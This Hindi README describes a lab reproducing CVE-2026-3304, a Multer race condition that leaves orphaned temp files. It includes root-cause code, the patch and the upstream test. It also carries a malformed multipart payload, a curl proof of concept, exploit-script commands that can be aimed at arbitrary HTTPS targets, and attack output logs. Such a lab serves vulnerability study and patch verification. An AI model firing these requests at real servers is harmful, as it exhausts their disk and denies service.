
# CVE-2026-3304 के लिए प्रजनन प्रयोगशाला Multer async fileFilter रेस कंडीशन जो अनाथ अस्थायी फाइलों के माध्यम से डिस्क भरने का कारण बनती है। इसमें कमजोर और पैच किए गए Docker सर्वर, एक्सप्लॉइट स्क्रिप्ट और मूल कारण विश्लेषण शामिल हैं।
केवल शैक्षिक और शोध उद्देश्यों के लिए। बिना प्राधिकरण के सिस्टम पर हमला करना अवैध है।
यह लैब वातावरण Multer 2.1.0 पैच और उसके आधिकारिक परीक्षण कोड का विश्लेषण करके बनाया गया था। कमजोर सर्वर पैच परीक्षण में वर्णित सटीक स्थितियों को दोहराता है, और पैच किया गया सर्वर फिक्स की पुष्टि करने के लिए Multer 2.1.0 चलाता है।
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2026-3304 |
| लक्ष्य | Multer < 2.1.0 (Node.js multipart/form-data मिडलवेयर) |
| प्रकार | DoS — अनाथ फ़ाइल (अपूर्ण अस्थायी फ़ाइल सफाई) |
| CWE | CWE-459: अपूर्ण सफाई |
| CVSS 4.0 | 8.7 उच्च |
| पैच किया गया संस्करण | Multer 2.1.0 |
फ़ाइल भाग पर name विशेषता गायब होने वाला एक दोषपूर्ण multipart अनुरोध Multer को डिस्क पर एक अस्थायी फ़ाइल बनाने का कारण बनता है लेकिन उसे कभी साफ नहीं करता। बार-बार अनुरोध डिस्क स्थान समाप्त कर देते हैं, जिसके परिणामस्वरूप सेवा से इनकार (DoS) होता है।
यह भेद्यता multer/lib/make-middleware.js के अंदर fileFilter कॉलबैक हैंडलिंग प्रवाह में उत्पन्न होती है।
जब Multer एक multipart अनुरोध भाग को भाग द्वारा स्ट्रीम और पार्स करता है, तो निम्न अनुक्रम होता है:
[पार्सिंग इवेंट अनुक्रम — कमजोर संस्करण]
1. भाग 1 हेडर प्राप्त हुआ
→ fileFilter(req, file, cb) कहा गया
→ setImmediate(cb) → कॉलबैक अगले इवेंट लूप टिक पर स्थगित
2. भाग 1 बॉडी प्राप्त हुई
→ /tmp/uploads/<uuid> खोला गया, डेटा लिखा जाना शुरू
3. भाग 2 हेडर प्राप्त हुआ (name विशेषता गायब)
→ Multer 'name missing' का पता लगाता है
→ errorOccured = true ← त्रुटि फ़्लैग सेट
→ abortWithCode('LIMIT_FIELD_KEY') कहा गया → HTTP 500 निर्धारित
4. setImmediate कॉलबैक फायर होता है (अगला इवेंट लूप टिक)
→ fileFilter परिणाम: includeFile = true (सामान्य प्रवाह)
→ [BUG] errorOccured फ़्लैग की जाँच नहीं की गई
→ storage._handleFile() कहा गया → अस्थायी फ़ाइल डिस्क पर प्रतिबद्ध
5. HTTP 500 प्रतिक्रिया भेजी गई
→ अस्थायी फ़ाइल डिस्क पर बनी रहती है (अनाथ फ़ाइल)
make-middleware.js — Multer < 2.1.0)// fileFilter पूर्णता कॉलबैक (setImmediate के माध्यम से स्थगित)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured की यहाँ कभी जाँच नहीं की गई
// भले ही भाग 2 को पार्स करते समय त्रुटि सेट की गई हो, निष्पादन जारी रहता है
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// अस्थायी फ़ाइल uploadedFiles में पंजीकृत है और डिस्क पर छोड़ दी गई है
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
setImmediate समस्या क्यों है?
fileFilter को setImmediate के साथ लपेटना उसके कॉलबैक को अगले इवेंट लूप टिक पर स्थगित कर देता है।
उस विंडो में, busboy (multipart पार्सर) अगले भाग के हेडर को पार्स करना जारी रखता है,
गायब name का पता लगाता है, और errorOccured = true सेट करता है।
जब कॉलबैक फिर से शुरू होता है, त्रुटि स्थिति पहले से सेट होती है — लेकिन कोड इसे कभी जाँचता नहीं है,
इसलिए storage._handleFile बिना शर्त कहा जाता है और अस्थायी फ़ाइल डिस्क पर लिखी जाती है।
फिक्स कमिट: 739919097d
fileFilter कॉलबैक प्रविष्टि के तुरंत बाद, storage._handleFile तक पहुंचने से पहले एक एकल if (errorOccured) गार्ड जोड़ा गया था।
// fileFilter पूर्णता कॉलबैक (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] आगे बढ़ने से पहले errorOccured जाँचें
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // स्ट्रीम खाली करें — डिस्क पर कोई फ़ाइल नहीं लिखी गई
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| आइटम | कमजोर (< 2.1.0) | पैच किया गया (2.1.0) |
|---|---|---|
errorOccured जाँच | ❌ जाँच नहीं की गई | ✅ कॉलबैक प्रविष्टि पर तुरंत जाँच की गई |
त्रुटि पर _handleFile कहा गया | हाँ | अवरुद्ध |
| अस्थायी फ़ाइल सफाई | ❌ गायब | ✅ fileStream.resume() के माध्यम से |
| प्रति अनुरोध अनाथ फ़ाइलें | 1 | 0 |
fileStream.resume() सफाई क्यों करता है:
fileStream.resume() को कॉल करना स्ट्रीम को DiskStorage को पारित किए बिना खाली और त्याग देता है,
इसलिए कोई फ़ाइल नहीं लिखी जाती और डिस्क पर कुछ भी नहीं बचता।
Multer टीम ने फिक्स को सत्यापित करने के लिए 2.1.0 पैच में निम्नलिखित Mocha परीक्षण शामिल किया।
यह परीक्षण इस लैब वातावरण के लिए ब्लूप्रिंट बन गया — कमजोर सर्वर
यहां वर्णित सटीक सेटअप को दोहराता है (setImmediate fileFilter + दोषपूर्ण multipart अनुरोध),
और अपेक्षित व्यवहार कमजोर और पैच किए गए दोनों संस्करणों के खिलाफ सत्यापित किया जाता है।
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Assert | अर्थ |
|---|---|
res.statusCode === 400 | Multer दोषपूर्ण अनुरोध को सही ढंग से अस्वीकार करता है |
files.length === 0 | डिस्क पर कोई अनाथ फ़ाइल नहीं बची (पैच सत्यापित) |
कमजोर संस्करण (< 2.1.0) पर, files.length 1 के बराबर है और assert विफल हो जाता है।
यह लैब सीधे ऊपर दिए गए पैच परीक्षण सेटअप को दर्शाता है।
कमजोर सर्वर (Dockerfile + app/server.js) Multer 2.0.2 को एक async fileFilter के साथ चलाता है
जो setImmediate का उपयोग करता है — पैच परीक्षण से सटीक ट्रिगर स्थिति:
// app/server.js — पैच परीक्षण के भेद्यता ट्रिगर को दोहराता है
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← कॉलबैक स्थगित करता है, रेस कंडीशन बनाता है
cb(null, true)
})
}
})
पैच किया गया सर्वर (Dockerfile.patched) समान server.js चलाता है लेकिन Multer 2.1.0 स्थापित करता है,
जहां errorOccured गार्ड मौजूद है — पैच परीक्षण की अपेक्षित पासिंग स्थिति से मेल खाता है।
| सर्वर | पोर्ट | Multer | अपेक्षित व्यवहार |
|---|---|---|---|
| कमजोर | 3000 | 2.0.2 | प्रति दोषपूर्ण अनुरोध अनाथ फ़ाइल बनाई गई |
| पैच किया गया | 3001 | 2.1.0 | कोई अनाथ फ़ाइल नहीं — सफाई सही ढंग से काम करती है |
नोट:
fileFilterको सिंक्रोनस में बदलना (setImmediateहटाना) Multer < 2.1.0 पर भी अनाथ फ़ाइलों को रोकता है। भेद्यता के लिए दोनों स्थितियों की आवश्यकता होती है: एक asyncfileFilterऔर गायबerrorOccuredजाँच।
हमला एक multipart/form-data POST भेजता है जहां दूसरे भाग में आवश्यक name विशेषता गायब है।
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← भाग 1: मान्य, अस्थायी फ़ाइल यहां बनाई गई
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← भाग 2: name= गायब!
Content-Type: application/octet-stream
x
------Boundary--
सर्वर-साइड निष्पादन:
1. भाग 1 आता है → Multer /tmp/uploads/<uuid> खोलता है और लिखना शुरू करता है
2. fileFilter setImmediate के साथ कहा जाता है → कॉलबैक स्थगित
3. भाग 2 आता है → Multer गायब name का पता लगाता है → errorOccured = true
4. setImmediate फायर होता है → fileFilter कॉलबैक चलता है
5. [BUG] errorOccured जाँच नहीं की गई → storage._handleFile कहा जाता है
6. अस्थायी फ़ाइल डिस्क पर लिखी जाती है
7. HTTP 500 लौटाया जाता है
8. /tmp/uploads/<uuid> हमेशा के लिए डिस्क पर रहता है ← अनाथ फ़ाइल
सर्वर प्रतिक्रिया:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
तुरंत बाद अनाथ फ़ाइलें जांचें:
curl http://localhost:3000/status
pip install requests)# कमजोर (पोर्ट 3000) + पैच किया गया (पोर्ट 3001) सर्वर प्रारंभ करें
docker compose up -d --build
# दोनों चल रहे हैं सत्यापित करें
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# डिफ़ॉल्ट (50 अनुरोध)
python3 exploit/exploit.py
# भारी हमला (500 अनुरोध, प्रत्येक 5 KB पेलोड)
python3 exploit/exploit.py --count 500 --size 5120
# स्व-हस्ताक्षरित प्रमाणपत्र के साथ HTTPS लक्ष्य के खिलाफ
python3 exploit/exploit.py --target https://target.example.com --no-verify
# पैच किए गए संस्करण के खिलाफ तुलना करें
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| लक्ष्य | परिणाम |
|---|---|
| कमजोर सर्वर (3000) | प्रति अनुरोध अनाथ फ़ाइल बनाई गई, डिस्क लगातार बढ़ती है |
| पैच किया गया सर्वर (3001) | अनुरोध संख्या की परवाह किए बिना 0 अनाथ फ़ाइलें |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
प्रत्येक अनाथ फ़ाइल सर्वर को पुनरारंभ करने या मैन्युअल रूप से साफ करने तक स्थायी रूप से डिस्क पर बैठती है। कंटेनर का tmpfs 50 MB पर सीमित है — सीमा तक पहुंचने से सर्वर नए अपलोड पर पूरी तरह विफल हो जाता है।
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ files from run 1 still present — never cleaned up
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down